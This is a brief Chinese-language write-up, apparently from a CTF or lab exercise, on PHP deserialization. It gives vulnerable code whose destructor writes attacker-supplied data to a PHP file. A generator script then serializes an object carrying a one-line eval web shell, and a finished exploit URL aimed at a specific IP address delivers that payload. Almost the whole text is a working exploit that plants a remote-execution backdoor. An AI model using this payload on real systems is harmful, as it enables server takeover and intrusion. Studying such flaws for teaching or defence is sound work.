反序列化
漏洞代碼
<?php
error_reporting(0);
if(empty($_GET['code'])) die(show_source(__FILE__));
class example
{
var $var='123';
function __destruct(){
$fb = fopen('./php.php','w');
fwrite($fb, $this->var);
fclose($fb);
}
}
$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>
寫一個php的腳本,執行得到一串序列化后字符串,生成的代碼是不會在瀏覽器直接顯示的,需要查看源碼才能看到完整內容。
<?php
class example
{
var $var='<?php @eval($_POST[pass]);?>';//一句話木馬
}
$a=new example();//頂替原來的example,從而執行destruct函數,所以名稱還是要寫成example
echo serialize($a);//輸出序列化后的結果
?>
測試方法
http://218.2.197.236:26225/?code=O:7:"example":1:{s:3:"var";s:31:"<?php @eval($_REQUEST[pass]);?>";}